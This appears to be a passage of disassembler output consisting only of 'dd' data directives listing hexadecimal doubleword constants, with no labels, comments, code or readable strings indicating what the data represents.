		dd 901AF4E3h, 7C6158B8h, 82D56C0h, 0A700B8B1h, 0A4CA4AE4h
		dd 0B7CF2Fh, 3BA1948Dh,	0FD4074B4h, 0C555B518h,	12D0179h
		dd 926CC48Fh, 0ECC6E19Ch, 861677CBh, 0CC88D1A8h, 3C000A5h
		dd 0AE996E8h, 0F67F26AFh, 1C788D00h, 0BC0BBF32h, 0C5EC127Dh
		dd 0CC6024F9h, 1A01F894h, 74FCFF6Ah, 0D5FFC09Ch, 2A93D81Fh
		dd 80431808h, 7586FB79h, 19011CEFh, 1B7F3062h, 0E6D4C5CEh
		dd 172FFC46h, 30FE2DBCh, 0D63E81C8h, 951D1B0Bh,	0A54843Ch
		dd 0C5DFB941h, 0B508403Dh, 7F225D54h, 0C4C0811Dh, 6ACBD410h
		dd 0AB672700h, 445E1D84h, 19D014FFh, 1F172098h,	45B4C8B7h
		dd 0BD35360Fh, 51B08D69h, 7D6B0BF0h, 0BAEA0E6Eh, 4C61EE65h
		dd 7847440Fh, 0C5A38804h, 14ECB34Ch, 0C088C871h, 0D58D8376h
		dd 92EE1C74h, 12C40021h, 0E0A794AEh, 7CB82D3Fh,	90B52425h
		dd 16D3C5ECh, 841B9943h
		dd 0CED48010h, 0C704FBFEh, 0A479DC51h, 0CDD0C8h, 243F3A02h
		dd 72F36AEFh, 452C477h,	4A450598h, 90C02836h, 0B8847A2h
		dd 562A824Bh, 33698848h, 3E181300h, 0D194AFC6h,	23240258h
		dd 41541275h, 39009059h, 0D5B2A75Dh, 85580194h,	0BD2CCC44h
		dd 0D9483034h, 0FF80D899h, 0F485D521h, 0FCC73253h, 1CE89D70h
		dd 51CE8067h, 0EA87A068h, 4D89D2h, 0D981A9BBh, 0D66C5B98h
		dd 319F4927h, 281911B8h, 0C1418FFCh, 8443C8A5h,	526E170h
		dd 9C9D4B40h, 8BA404ADh, 35960110h, 98306848h, 47C2450Dh
		dd 64807830h, 57D654CEh, 4226003Eh, 0E539CD2Dh,	0FD31B91Fh
		dd 0A1889BCh, 0E4202C17h, 94C45480h, 483486A8h,	942C6862h
		dd 6BE094BEh, 1F7B110h,	4B283A21h, 0DC15F2B6h, 0CE16A2A4h
		dd 54060346h, 3159BE48h, 1379C3A0h, 22642317h, 7684866Ch
		dd 63FB042Bh, 0C37C2D6Dh, 9BB2451Eh, 9498E062h,	30FAC04h
		dd 0A91209C9h, 80488E2Fh, 91809D43h, 6CC54889h,	60B04982h
		dd 0A41030A0h, 1500A798h, 95BC29DEh, 0E29CAD3Dh, 99440945h
		dd 58100BF7h, 32D05CDh,	0FB405B2h, 0A06A1C80h, 90F651FBh
		dd 0B985C047h, 2FC698C2h, 0CD3A680h, 0B2E868E9h, 0CCC5E11Fh
		dd 20C46915h, 0CB2820E2h, 0EF4A301Eh, 633EC6C4h, 3B5B8A0h
		dd 24A6F2D0h, 2920DCB9h, 0E4D45837h, 224DF711h,	5A91002Ah
		dd 0DE67C283h, 0EE07A181h, 0F4B5FCC1h, 18BA1021h, 248AC9F4h
		dd 2CF0B123h, 133460D8h, 6300D004h, 0F8A4EF40h,	22CA929h
		dd 6306166h, 0ACE0A631h, 350F8F12h, 296345Ch, 604B39CEh
		dd 92A09910h, 92B9F884h, 0D0B60278h, 0B0249A3Dh, 82A1871h
		dd 0D8094031h, 0C500C9A8h, 68A11547h, 7F9F101Fh, 0E080065h
		dd 0D97A0C2Eh, 0EB0032A1h, 0AC6274A2h, 5B7E1004h, 711043C2h
		dd 0DEA89397h, 0AF1FC38Dh, 83C995AAh, 92BCB3F0h, 0B7C41EDh
		dd 9C9EE010h, 0EE9FA009h, 0D8C42Bh, 693D2207h, 3AAB27BEh
		dd 0F01AF700h, 3554C92Ch, 0C79026F4h, 0BC2409C8h, 4CA810EBh
		dd 0E4B4441Ah, 4A516B40h, 81C0B8C6h, 8103670h, 5E48AABDh
		dd 0D0122C59h, 2216A832h, 8CC4BC1Fh, 0A700C4B9h, 198A0797h
		dd 28727Dh, 30EE136Eh, 0BF512E3Dh, 42A67915h, 64F012B8h
		dd 80A54823h, 1023823h,	7DFF689Fh, 6836BDADh, 816680BCh
		dd 1E6149FEh, 0F79596h,	5370524Fh, 0F12672DBh, 253BBC76h
		dd 247860E5h, 50B496C4h, 6E0EE68Ah, 5B1CE94h, 3000B2BDh
		dd 5CF542DAh, 0E13E0750h, 7EDE11B5h, 0FE942461h, 13C686Ah
		dd 0E048B142h, 54228B4Ch, 0F9BC804Ah, 6200DFAFh, 67BD1CF8h
		dd 0E921B6Fh, 0F661CB4Ah, 0D4EE413Dh, 53C28B79h, 0B0225480h
		dd 90B665A1h, 0AA42C0D9h, 0AF16A36Ah, 8C11622h,	0D21024B2h
		dd 43009B5Bh, 0C6EA7750h, 1FF913E2h, 57613772h,	0DF890004h
		dd 0CD10F295h, 0E8AC6A29h, 0F1397B01h, 67FC5F40h, 0D37D06A3h
		dd 98EDE7CDh, 0C00EA417h, 652098h, 2FE36089h, 73C3D457h
		dd 0ECB1D900h, 1141B93Fh, 5A10583h, 0F4406791h,	0F912CCC4h
		dd 70A2C434h, 492E1022h, 4E11285Eh, 50320051h, 15580B03h
		dd 0DF987ED9h, 0E7739321h, 1ABA8800h, 593B6C85h, 38D902ECh
		dd 6AA80C6Eh, 0F4471474h, 15C010B7h, 210694h, 887FE872h
		dd 65892B3Eh, 31D6D502h, 0D176B7C0h, 44901464h,	0E6B0C440h
		dd 0B38EAB8h, 0CCE04CA3h, 0C9E80CA6h, 0F8B2F8F6h, 4F1F4144h
		dd 796C88C1h, 5C428A4Ah, 0E0D64DF0h, 91C6D338h,	75CB80A8h
		dd 0AB035B02h, 0D2908E0Ch, 45B94834h, 253420C8h, 0D1B5E28Bh
		dd 9C44A71Ch, 0EF21CE00h, 0B7473781h, 7B6700EAh, 59F7C0AEh
		dd 2F12B625h, 8013A2D4h, 2D47E868h, 20101070h, 0EF002502h
		dd 90A24D57h, 95B3677Ch, 13653420h, 97179238h, 0CC89E43h
		dd 994286A2h, 1E56B313h, 0C41F0940h, 4D000044h,	6B37F074h
		dd 0D31906C5h, 6AE48839h, 98B98DFh, 0C66412D8h,	7A87D9Ch
		dd 25656CF2h, 4563B01Bh, 4CF86BD3h, 31412E0Bh, 6A3884A3h
		dd 0CE1D1300h, 2360BADDh, 3685A108h, 577C392Eh,	0CDF96280h
		dd 9EFE9DF7h, 4F391700h, 219C3381h, 0FDDE0014h,	84C7C816h
		dd 0B600321Fh, 0CE28A1DFh, 3875887Dh, 4A00CA86h, 0F031794Fh
		dd 21DEEE49h, 7115BA0Ch, 0E5983CC0h, 0DB7FEF0Ch, 0DC107221h
		dd 1063CD67h, 8788E82h,	1E14A800h, 0B15BEEFDh, 8CD5387Fh
		dd 7C105D01h, 858F8398h, 8814EA29h, 23E0C203h, 4B2ED87Eh
		dd 0EF960C9Ah, 0FD59D54Ah, 0A97C3B15h, 6F800030h, 849F8BF4h
		dd 3C780003h, 0A731D50h, 0EC31B64Ah, 2DAE3994h,	5429C180h
		dd 47D877FEh, 2CC5A00h,	6B34F7EBh, 73FF7B2Dh, 41E51C27h
		dd 0C1955E4Eh, 84632E44h, 0D3B8E747h, 0B81417AAh, 5AE49A9h
		dd 0CF54EF94h, 80917C08h, 0D60BA03Ch, 0CC002EFAh, 1381BB12h
		dd 82F94Dh, 0BC21796Dh,	0F50FCD4Eh, 52EF9CA8h, 0CC49E461h
		dd 0B18A291Ah, 80ACD811h, 783C9152h, 190C4F22h,	0A872CD60h
		dd 106A0254h, 5CA42DDAh, 0E5281C80h, 0C150D968h, 48339BA4h
		dd 3F358E6h, 0FAB87A71h, 10DEE5AEh, 5A38C100h, 0CD7F9764h
		dd 4CFF5415h, 16C0A6E5h, 74E0AAh, 121C4F57h, 0B85048F0h
		dd 7F189010h, 4928FB94h, 991138DDh, 2789610Ch, 480AA698h
		dd 5410CC3Eh, 8B4D6B00h, 0C2B9E54h, 0FB113715h,	0B589D9C1h
		dd 0B05298D1h, 5C772096h, 0DA01E3D1h, 1D814575h, 5894D82Ch
		dd 57105CF1h, 583680E0h, 0D09C5EFFh, 0A6079C41h, 6349B59Dh
		dd 19008782h, 0A2FA5706h, 0FF3A80h, 0F68B1AB6h,	9962FB9h
		dd 3C394A90h, 9205BAD0h, 1440DF04h, 4D2A3580h, 0DD09486Ah
		dd 4836EC0Fh, 19F382A0h, 942ACB30h, 2801B475h, 49D06838h
		dd 0ACF09DD4h, 0B519C644h, 0A000B1CAh, 4B538FFEh, 24CBC36Ch
		dd 3F0EE4h, 633D6ACCh, 0B10A0D4Ah, 0AC7F67FFh, 0FC739485h
		dd 80E72408h, 6B293C8Fh, 0C001707Fh, 3FAB135Bh,	74C481E9h
		dd 179CA495h, 1FA847FDh, 0F0D0F718h, 822D1475h,	0BAD40654h
		dd 35ACF054h, 427F7E00h, 18DA58AAh, 0D4D4A057h,	5A311C48h
		dd 0FFF3C0B5h, 0A5F7B116h, 39BD4212h, 41FAC00Ch, 0DAB70006h
		dd 0F5D724Ch, 0B93A6F0Bh, 804CC8CCh, 0A0FA2E48h, 0F84C12A2h
		dd 5ACB0A7Ch, 72410E74h, 8CB43072h, 9C00FCC3h, 0DA38A4Fh
		dd 67FDE2h, 3EC605BAh, 2E65371Fh, 0DF0CFF00h, 0B7599C38h
		dd 0D3C81E2Dh, 7398EA11h, 7F00Eh, 3457606Bh, 0B69C3F48h
		dd 43BB7E03h, 0A56EC5B7h, 725184Bh, 5F40F799h, 1BA69Ch
		dd 0D4195AC9h, 62739A55h, 0EFA27204h, 0CC85648h, 0AB9A8888h
		dd 0B560E600h, 0E10E0A17h, 0BDF60357h, 9337D90Bh, 2A5C7BA0h
		dd 0E8105A29h, 0FB0A3A07h, 96016750h, 559A00BEh, 92185B2Dh
		dd 5906815Dh, 0D6A79498h, 0F2E1431h, 7C00E440h,	432CF93Fh
		dd 0D3627094h, 445DFF21h, 0CF40A184h, 0E0353811h, 0CC60B6ADh
		dd 5C75C8B9h, 4A403B6Fh, 0AFF6D682h, 0F940E683h, 41E837FFh
		dd 8AAA81Dh, 24A7EF83h,	0E253A197h, 13CC418Ah, 9D41CEECh
		dd 24DA5311h, 688AE954h, 382490AAh, 2900878Bh, 60AB0814h
		dd 0CC71C123h, 0A94A1635h, 46A93444h, 813BAFC1h, 4C940970h
		dd 0E2807CA6h, 0B748ECFFh, 0D600A891h, 0A2595B92h, 17771ADh
		dd 6DEB7A90h, 0E8244D4Eh, 130221D1h, 71911702h,	5A8891CAh
		dd 694CD0D8h, 640268FBh, 0A4997491h, 86A80C65h,	8788E8D0h
		dd 0BA1373C1h, 32A17818h, 0D83041DBh, 1600502Ah, 37249BEBh
		dd 448CB07Bh, 6800F887h
		dd 17232E67h, 0D6708Eh,	0E6807BF0h, 19332012h, 0CC43590Eh
		dd 0EF61F818h, 0F9D3634Bh, 49018582h, 0B26236D9h, 53FC24EDh
		dd 0C0D51D71h, 7DD4C02Dh, 0ED85CD2h, 7A948E14h,	4212C0A4h
		dd 318E0A8h, 0FC1C8252h, 0F8216636h, 0F9A60886h, 80FCB594h
		dd 4781DA2Bh, 0FECC06B4h, 9844BB4Eh, 1A6EDB44h,	308CC1DAh
		dd 0F48B9440h, 0A0C2698h, 51C57391h, 42351A9Ch,	44705Dh
		dd 0A11CBA30h, 0BE31F0h, 0B5804B15h, 3D2F6295h,	0CA433A00h
		dd 2A3EAAF7h, 7B940B14h, 0B431CCB3h, 840D0C7Eh,	0CD524CF8h
		dd 8F229Ch, 31BAA921h, 2E93DC15h, 0E9BF1E2Ch, 7021191Bh
		dd 0CA3416C0h, 0B97C0A82h, 4D6A010Ch, 64DA9A88h, 0D7601114h
		dd 0C30974D9h, 435F16C8h, 767830F9h, 100AF81h, 0FF6C4194h
		dd 1BE457h, 8822F1FDh, 0DEE385FAh, 0B4B64929h, 0B9409500h
		dd 704D64Eh, 0D0E7B14h,	0FFD706Eh, 62012DBDh, 0D9646718h
		dd 1032119Bh, 1237A800h, 0E0FA613Eh, 0BC2E7036h, 0A4FC00B9h
		dd 0AF014AF8h, 0A7002916h, 0CD7E64E3h, 0BAA20C1Fh, 94920138h
		dd 0D7FAE77Fh, 9898472Ch, 0B2A4E680h, 0AB7EDAh,	56D7B395h
		dd 8106E443h, 962C9104h, 4C8C2E5Dh, 0A6501A3h, 0BF3A1318h
		dd 0CDF6C036h, 7324A200h, 824F1D4Ah, 423D2851h,	9D793EE4h
		dd 9728B12h, 281A54B0h,	43D4B004h, 807A0FBDh, 14126166h
		dd 0CC2C7E7Dh, 0C42AC6A2h, 4CA27829h, 9B783Dh, 84228CA2h
		dd 3A8E442h, 0A4C037BDh, 69A89904h, 0DC0A3862h,	44DDE66Dh
		dd 10E21032h, 2A6115CCh, 9D1BC161h, 30CA7092h, 2DB40CFCh
		dd 0E51F08C1h, 19C8DC72h, 507CB0F9h, 15A14CDh, 0AFE9E6C0h
		dd 0D09D4D7Dh, 84984986h, 0D8B898ECh, 8F11621h,	7581DB51h
		dd 85E4A8A6h, 6FE3F430h, 0D81451E1h, 89754B80h,	8003BA3Eh
		dd 6F32236Dh, 3DB0970Ch, 0BFA69Eh, 2F789D46h, 71A94D62h
		dd 0F52EE401h, 0D0B56836h, 0A5AE6987h, 627C0DFh, 5C1FCD44h
		dd 0DA474983h, 0E5C1DB9Ch, 68D1C133h, 16CC6E6h,	0AFA53FA4h
		dd 0D81AD2F8h, 8400AA7Eh, 6EEB6A6Dh, 13737DC0h,	19987C3Bh
		dd 182C83Ch, 0B501DE87h, 0F68180E3h, 778A86Ah, 1225029Fh
		dd 7EEE77B1h, 0FD0030C4h, 5AD8B521h, 75C15BFh, 0F4A256Ch
		dd 0C7CCC472h, 0CB96B210h, 0A900B853h, 0BB08849Ah, 476124C3h
		dd 0C8210478h, 44A2DEh,	34350FDAh, 514E4724h, 1430F079h
		dd 582B5D5Ch, 8C8EEF00h, 5BCC49AAh, 0F950BF12h,	0F06E3C0Ah
		dd 0A936FD60h, 0E76A0197h, 0AEFAF757h, 0CC21A3EEh, 1DA99240h
		dd 0D1113742h, 8F0C6749h, 0BC3BBAC0h, 0D0008425h, 0FFC7F25Eh
		dd 0C01936E0h, 0CDACCCC0h, 0F1D2B615h, 0CA75E48Ch, 1D88AB20h
		dd 0BD586087h, 479D1984h, 19827A39h, 0B1814EC1h, 9B638060h
		dd 8C80E496h, 0C524FDE8h, 17CC262Dh, 325164BCh,	0EC00120Fh
		dd 73AC90EDh, 0D28CE148h, 80D94880h, 0FB88A117h, 697BA610h
		dd 0F02C9500h, 0CFD1ECA0h, 7C3C160Eh, 0B88414E9h, 70A9A0D9h
		dd 7F023518h, 9D5D2E4Ch, 0D1D08680h, 548F081h, 99E9FFE7h
		dd 94901D0Fh, 7F3080C8h, 1C4EC449h, 49EE7304h, 2890A22Eh
		dd 650EA16h, 0B566DC96h, 6100D9CBh, 9C1C7E98h, 0FDF36h
		dd 580A9785h, 0C134EC6Ah, 83F92925h, 0A9F03A9Ch, 0AE119766h
		dd 0A9718019h, 5B1A01B7h, 78880734h, 40049CF7h,	0B05A20BAh
		dd 0CFD02F5Ch, 8040DED5h, 0ED705369h, 442E008Ah, 0B5B25D2h
		dd 9F091D2Dh, 42AC4CBFh, 135C98F4h, 0B5C20084h,	0BC54468Dh
		dd 0B805A89Dh, 8749475h, 6C40E894h, 2667EA87h, 9185002Fh
		dd 45B4EB49h, 62314FCCh, 46EF5A20h, 0C228020h, 8161FF11h
		dd 71489469h, 600F9FF8h, 28D89293h, 6E981D47h, 3B71C302h
		dd 90294D78h, 0E50388BAh, 0B09E4A63h, 0D83617h,	0B2D1E24h
		dd 9DA57049h, 5FFF520Bh, 1B10AB8Bh, 30F188B4h, 43E90026h
		dd 76B81312h, 870C88D0h, 0F0B634F0h, 9CBA4C6Dh,	8EAE9480h
		dd 7E057680h, 2FD81E8Dh, 3BB8CCC0h, 0C8B9488Ch,	0E1309680h
		dd 0D1004F5Fh, 3C6EF3Ch, 48042147h, 29221CC5h, 402D6137h
		dd 609A4DA2h, 89DA7A5Ch, 97CF10DEh, 666817D0h, 0E6400842h
		dd 270ECC85h, 8BDAE8CCh, 8FF4AFD9h, 0A0C79D89h,	0B783B547h
		dd 75960187h, 7CBE534Ah, 0E0CB5461h, 5A00DD98h,	6F2468CDh
		dd 90424877h, 69308038h, 6F63C72h, 17BC1F24h, 5B1C01E8h
		dd 80D1B5C3h, 35F31579h, 1E89D9B4h, 716C50h, 6B267330h
		dd 0B03E3DE1h, 0FA2F8549h, 74C9AD90h, 0A498CC03h, 4C494100h
		dd 297C9DF7h, 813B5E34h, 6758C030h, 0DFBC3B9Eh,	6BC89A00h
		dd 0B1E068D9h, 9BCECB04h, 2EF9D48h, 14CC0416h, 9C006089h
		dd 1EEC7BB4h, 0C051FA12h, 0A32CC8h, 8E2C9832h, 6785EF06h
		dd 81786204h, 5E831869h, 0E05858D9h, 4DEFDC0Bh,	0D8358849h
		dd 0E100BA74h, 0AD220142h, 1AFF60A6h, 0B9268F5Bh, 0E800287Ah
		dd 0E7DC1022h, 10E3853h, 0A6DFF8F3h, 4C68E658h,	94996934h
		dd 0B9AA3B00h, 0FBEF99C6h, 49C7543Ch, 4771D026h, 0E50044C9h
		dd 7018E1D9h, 13541E6Ch, 7741FFh, 465A02E5h, 0E4009958h
		dd 6671E557h, 0FBB812h,	64FA4116h, 0DC73A760h, 852BEB03h
		dd 373E6CE0h, 4C944651h, 0EB6F8A38h, 6E708008h,	1BACFD5h
		dd 3B6A8635h, 80D4FE50h, 0B020FB29h, 7B81796h, 0CD52D213h
		dd 10074742h, 88D1C987h, 185E1C00h, 75954F11h, 0B7BA1866h
		dd 0EBFE90F5h, 0F6D749C5h, 0DF4CC900h, 0A0A305Bh, 0D369463Ah
		dd 4CEC1148h, 0F81224E0h, 78A4B101h, 0ABD4C59Ah, 0D1C23FA9h
		dd 0D147D018h, 56011602h, 0AB8E9909h, 80E7BB9Eh, 683B3E7h
		dd 0FE6FEDF0h, 7A0061D8h, 85B44D9Dh, 1F5E3419h,	0CC77E910h
		dd 6179DF6Ch, 6271EF00h, 0C4A66DDAh, 0FEDC3E3Dh, 1575B4D4h
		dd 0A0D0BE12h, 255CA07Ch, 202B07EEh, 0E3F80B1Dh, 90E08CE3h
		dd 0EF051701h, 0FE02DF3Ch, 3403A1C4h, 1EBB64F5h, 41598549h
		dd 0D3627F78h, 0AB02CCA0h, 0E2ED8018h, 60F961h,	8C0D484Dh
		dd 0F61D899h, 49D049C7h, 0CCF0048h, 8E123CBCh, 7A5E3E00h
		dd 0B073A64Ah, 6702249Bh, 60D86110h, 3E2042E6h,	0E36F7422h
		dd 0A9A9DB90h, 1847BA5Eh, 38008AF5h, 45754E24h,	9FA5018Eh
		dd 0B972CCCFh, 0B71060C4h, 2CB2A901h, 48D0E85Eh, 0EFAF5984h
		dd 0D28C01Eh, 0AC014F2Fh, 0BA0A803Ch, 2C408185h, 0F492ED26h
		dd 0F3C800D7h, 8A05AE9Eh, 8205B1BCh, 63DF7410h,	88C411h
		dd 76C498B7h, 0F24E1E16h, 61D600D1h, 0BC4B1083h, 0E7242906h
		dd 539348DCh, 46DE5A01h, 41BC196Ah, 924CA548h, 97F4157Fh
		dd 0D900F08Ah, 2E90D275h, 0D829DCEAh, 1200D85Dh, 0AB03200Eh
		dd 156C91BDh, 0D834E0EBh, 3FA82224h, 71D47F20h,	75A803FAh
		dd 0D264E603h, 7CED313Bh, 5ED83D0Eh, 0C0E49526h, 22ACCEBFh
		dd 0DA6D00D6h, 0FF581216h, 3E009C4Ch, 0E5547565h, 0CE075DE0h
		dd 27D24631h, 5168C670h, 67F653F8h, 0F13C2C07h,	0C94C624Ah
		dd 897860C0h, 1DB6F785h, 0BA094977h, 1E198605h,	70510070h
		dd 0AF8FB6F6h, 538C252h, 364980DAh, 8448AA6Ch, 0FDBA05C6h
		dd 4077F4D6h, 0BFE94E1Ch, 600500Eh, 69841052h, 2E450BE4h
		dd 6D0C413h, 71D864BDh,	16CAB0Fh, 8EED203Eh, 1DA782EFh
		dd 9247147Ch, 20C404D1h, 0B14DCE2h, 0F34CA300h,	0B28E5F73h
		dd 81DB17F5h, 0E8FF0AA2h, 0E8D1164h, 806F6A10h,	2A9060B4h
		dd 0F7C10033h, 9E4EECEBh, 0AA02F6B7h, 0CA644F7Dh, 7A384640h
		dd 0C3E00032h, 8CD3DB56h
		dd 0EE1295C1h, 240EF9D0h, 0DC408086h, 189F7D65h, 39CEFEDDh
		dd 64314E75h, 2B9E89DEh, 98D601FCh, 20A702FCh, 71A6986Dh
		dd 6453D460h, 543D2EFEh, 0D8902A94h, 6A47610Ch,	52E0F943h
		dd 5001F065h, 0C81297ECh, 0FC61A4E6h, 0B808A213h, 0B02B80EAh
		dd 3EA35906h, 1105B109h, 0FE6018DEh, 2C29C0D6h,	0AC64131Bh
		dd 9C532924h, 6046E903h, 0F9210CDCh, 0D792CC9h,	7A2DE601h
		dd 0C40F2E10h, 7A556060h, 357205D8h, 538EB909h,	0A23C0088h
		dd 88AC65EAh, 0CCEF8300h, 0E5A0C448h, 9D4F09D0h, 0B787F3DAh
		dd 34D1C067h, 0CCFBB4FAh, 2CF2C4D5h, 54CB0204h,	0A387AF11h
		dd 63F3605Fh, 0E92A438Eh, 7B534086h, 0B4F8488Dh, 0B0F61900h
		dd 0EC694061h, 2FF00003h, 6BB1D1DDh, 609F4326h,	3BDC5B3h
		dd 0C33D1916h, 893C5A6Fh, 1E49EF52h, 3C2ED780h,	683EB8Bh
		dd 0D2229712h, 0A500219Ch, 981C6D25h, 0C05D74C3h, 449A6441h
		dd 8230E740h, 249530D8h, 0F53E1CC4h, 43C7ABDh, 0BCA13D79h
		dd 3083F29Ch, 0B9819E21h, 261B3018h, 520410h, 737B48C3h
		dd 0B308A12Ah, 1B060A0Ch, 0B212Bh, 0BB5FC9DDh, 7D91679Ah
		dd 0D700937Bh, 251285B3h, 0C64CF3h, 0AD9BC4F8h,	35C08CF2h
		dd 6B53A31Ch, 0FB68837h, 7FC41E08h, 0C8007D22h,	0D4B69C3Eh
		dd 60007DC2h, 0EB2C6A9h, 65B1F57Eh, 18F3C1F6h, 541BB9E4h
		dd 687E91C0h, 11C25Bh, 3D982808h, 7F03FD3Ch, 3528C3Dh
		dd 1B0109B2h, 0CE31003Fh, 4D58A99Dh, 0F9002AF8h, 4A3382F2h
		dd 6087F3E0h, 48A46101h, 840C6625h, 0B12C413Dh,	3B82300Fh
		dd 44BF4349h, 0CC53A418h, 35C1AA1h, 98E2D0BAh, 83C9C3E9h
		dd 0B3E06F44h, 9C59C2FCh, 37612B35h, 1CD541A4h,	9F51802Ah
		dd 0B29112D3h, 0C7B40471h, 0C7418EE8h, 0EA0720C5h, 0E026467h
		dd 0A136614Dh, 3D448749h, 0DE40A86Ah, 60AD4E7Ah, 0CEB31105h
		dd 9200066Eh, 0FB731A4h, 0C6C3FA80h, 0B9CB5338h, 0A2009D76h
		dd 0DA39C4EFh, 1F9B4648h, 0C0F5834Ch, 0FD89BBA4h, 0F8777259h
		dd 25427900h, 243B21BEh, 0D980F526h, 9DF451E3h,	0DF480197h
		dd 0E098003Ch, 234B7942h, 29FE6029h, 8B55456Eh,	9ED1903Ch
		dd 0ABCC4103h, 0C6B108h, 71379287h, 0FFD1230Ah,	0D9FA0B7Bh
		dd 0F9BA4502h, 40DBB14Eh, 4948FC30h, 9603344Dh,	0D7C1D43h
		dd 256EA006h, 18719329h, 0E9F25308h, 0CD003F09h, 61B49F0h
		dd 729F4Ah, 10FCED8Ah, 0E5DC6C0Dh, 1B390567h, 0AC00902Eh
		dd 89CC7801h, 4F01EE8Ah, 4E71239Ch, 0A843A5D9h,	2C297325h
		dd 0F33CA8Eh, 66E1A045h, 0FC2C37DCh, 0D0002044h, 0A3EE7182h
		dd 490383B9h, 0F50CAC0Fh, 0F3A1C7A4h, 64948B52h, 0E95AC318h
		dd 0DA02D818h, 0E8D37F05h, 41828E20h, 0A41C8085h, 3C099BC6h
		dd 35A4DBB4h, 27450113h, 8AF1BAF5h, 0B809AD41h,	5B3B8880h
		dd 1562CCCh, 0A3BEE7AFh, 800EAD79h, 428A2121h, 0E38E70h
		dd 0EA60AA19h, 0B555992Ah, 1538F948h, 7B80381Ch, 8C58FD00h
		dd 0B9CA9612h, 0DB100369h, 1473DE7h, 9ED85101h,	0B053ABBBh
		dd 602930F8h, 2D86B9F0h, 0E004E80h, 0E9C9BB7Ch,	0E62571h
		dd 0CF7824EAh, 0BF61A1ECh, 0AD58790Ch, 0F395104h, 7CCE411Bh
		dd 3D7FB9C2h, 26DB0BC0h, 0AA3E21C0h, 68EA5BBh, 29CA214Fh
		dd 5F7019F5h, 6DE8E300h, 2237EAAAh, 0CDD701DCh,	2996ADA0h
		dd 0A62987FFh, 13F1112Eh, 0CB3195B1h, 1DFB4991h, 91002750h
		dd 0A8CE8E42h, 8D09046Ah, 0C00D8139h, 0BFAA8018h, 0A4304789h
		dd 0F3BD882Ah, 1107B100h, 15FC2ED5h, 770E3AD7h,	0E7178087h
		dd 7A0F0209h, 4A3D1881h, 29D98C0Dh, 1181FDh, 5691596Eh
		dd 8F3F3ADDh, 6AD3818h,	4F9229h, 6A13FB7Ch, 0F5A1829Ch
		dd 0D7AE8D13h, 0F9EEF830h, 31DA1C8Bh, 4DA340DCh, 331B0951h
		dd 0A9DC8289h, 5E80005Ch, 344BF9E8h, 48321C3Ah,	60C7D9CCh
		dd 8403A7D4h, 0EF48A20h, 3A5A78A0h, 860B6180h, 4801D646h
		dd 0EC333976h, 4EE0F919h, 618C0023h, 41123A4Fh,	0F10013E3h
		dd 6742F3AEh, 6437F2h, 0AA69854Dh, 5B700483h, 302EB736h
		dd 1D4C4460h, 0B1305D00h, 4DD8B57Dh, 183C6438h,	1ED8804Fh
		dd 0AB13E970h, 0A0045F8h, 0A1397A78h, 3F383062h, 0D18E7929h
		dd 469B1400h, 943E0DABh, 90D907EFh, 16231C17h, 0D500A999h
		dd 84D875C3h, 639797Bh,	0E956552Bh, 0B730218Bh,	2C95A152h
		dd 13F50738h, 509D44F4h, 1BE32F7Dh, 0A198B903h,	0A05357ECh
		dd 3222272Ah, 5A41594Eh, 7A8B7D20h, 0FB040092h,	56A194C4h
		dd 69C26DB6h, 0F50DC91h, 44232801h, 4018825Eh, 9167D052h
		dd 31809780h, 1684834Dh, 19064907h, 5779F5B5h, 0C3930041h
		dd 0A34133D5h, 0DA3B4CE4h, 76E87044h, 5601A40Eh, 0B06880F9h
		dd 79529992h, 589D61D1h, 80601669h, 77266CB1h, 0C05378A4h
		dd 0DCBDB059h, 5C009E04h, 518ABBFDh, 19D2176Ah,	0D0619BB8h
		dd 44DE085Ah, 400AF58h,	21D0FC05h, 73B020F9h, 705562B4h
		dd 6521351Ch, 0E9809938h, 26931F9Ah, 0F57C8D62h, 36193E67h
		dd 28D88950h, 0F0C279BBh, 302714B1h, 4E22A09Bh,	720CAF00h
		dd 3F6738D3h, 102648A9h, 0C0806B88h, 33FA8F3Dh,	54D50075h
		dd 0A8658CADh, 4EF2688Eh, 5CE79E14h, 0DD228084h, 14DAFB3Fh
		dd 0D4DB9129h, 0B79B1C80h, 60C7257Fh, 0C407CF01h, 8F08880Ah
		dd 1816115Ch, 0C9514DB7h, 0C1C032Bh, 0F47CEEE3h, 6EF9A80h
		dd 0BEE6970Bh, 8B838012h, 7EA6DE44h, 0CC520969h, 249FCBh
		dd 92E74095h, 3B9B09BCh, 4187EC2Dh, 0D09A7E85h,	3F940CA3h
		dd 0C356200Ch, 3A4319Eh, 9C80DA65h, 0C17CD252h,	20C15ECh
		dd 298D2353h, 272E0F2Fh, 0EFC0DC19h, 479E46D2h,	0B0CD5000h
		dd 0FAD0ED4Eh, 176818A2h, 4078D14Bh, 3E2651C0h,	0D2B0A9h
		dd 0D9B744ECh, 0C10E3898h, 8F4EBC28h, 69C02377h, 368ED6ABh
		dd 1486E8A7h, 0ACE0913Eh, 4075D094h, 29C1A760h,	0B7566840h
		dd 911ADC22h, 4C8281D3h, 0DC4340BCh, 12101EA5h,	76741969h
		dd 4298ED6Ah, 0D22FFAA4h, 440405Ah, 1B5F3F88h, 0F8E44119h
		dd 0B00448B1h, 2CC6509h, 0D14EFFEh, 59C011D7h, 0D83D04EAh
		dd 4B0A13EBh, 0C7F88430h, 293301E6h, 9E806C5Bh,	7A1D6069h
		dd 0FA9D6D00h, 63993D15h, 3F0C2475h, 515A1188h,	4ED408CCh
		dd 7C5EAB01h, 55E19166h, 22AF198Ah, 0B2A40078h,	0C5F88AB4h
		dd 0EC9B7D2Ah, 871F75E2h, 5C80B528h, 7FE89FAFh,	1FA0006Eh
		dd 3EE3146Bh, 3D613807h, 0A2254469h, 723FFC30h,	881A05E9h
		dd 40D238B4h, 0FB409A9Ch, 43262FD0h, 443E942Bh,	8004913Fh
		dd 0FBDBF206h, 0B471CE46h, 0E308151Ch, 0D8C09683h, 0D29AFB0Dh
		dd 8E94841Ah, 9D39B340h, 1B00FBEEh, 80382F72h, 367328h
		dd 0B0D9DCA9h, 9498DA3Bh, 1FC86560h, 14059E8Eh,	8851D491h
		dd 363F9A81h, 4EB7C886h, 542FA4A8h, 59D88B00h, 6EBD78C6h
		dd 0A69D0728h, 0C0258626h, 1D6DFF77h, 4E4C761Fh, 60ACD740h
		dd 0A235B8Bh, 525120B5h, 514418DAh, 71C13F78h, 0DE8E91E2h
		dd 3459AD4h, 8289F9A8h,	64F0500Ah, 94909099h, 7AD86045h
		dd 0D8912833h, 9558A120h, 3864B712h, 0BB077700h, 0ADD8F533h
		dd 56600A9Fh, 111492E8h, 3EEF0059h, 32B1FDAFh, 74784CC4h
